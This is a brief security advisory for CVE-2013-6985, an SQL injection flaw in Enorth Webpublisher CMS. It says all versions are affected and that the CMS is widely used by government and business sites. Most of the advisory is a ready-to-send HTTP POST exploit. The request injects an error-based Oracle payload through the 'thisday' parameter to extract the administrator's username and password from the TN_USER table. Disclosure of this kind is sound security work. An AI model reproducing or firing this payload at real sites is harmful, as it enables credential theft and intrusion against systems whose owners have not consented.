Enorth Webpublisher CMS SQL Injection

`Title:  
====  
[CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS  
  
Vendor:  
======  
http://products.enorth.com.cn/bfnrglxt/index.shtml  
  
Severity:   
=======  
Important  
  
Versions Affected:   
==============  
All versions  
  
Author:   
======  
xin.wang(xin.wang(at)dbappsecurity.com.cn)  
  
Abstract:  
=======  
Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific research and education and media industries fields such as nearly thousands of business users.  
The Vulnerability Laboratory Research Team discovered SQL Injection vulnerability in all versions of Enorth Webpublisher CMS.  
  
Exploit:  
======  
POST /pub/m_worklog/log_searchday.jsp HTTP/1.1  
Host: www.test.com  
User-Agent:   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-cn  
Accept-Encoding: gzip, deflate  
Cookie:   
Pragma: no-cache  
Proxy-Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 180  
  
thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype=1  
  
=====================================  
  
  
  
  
  
`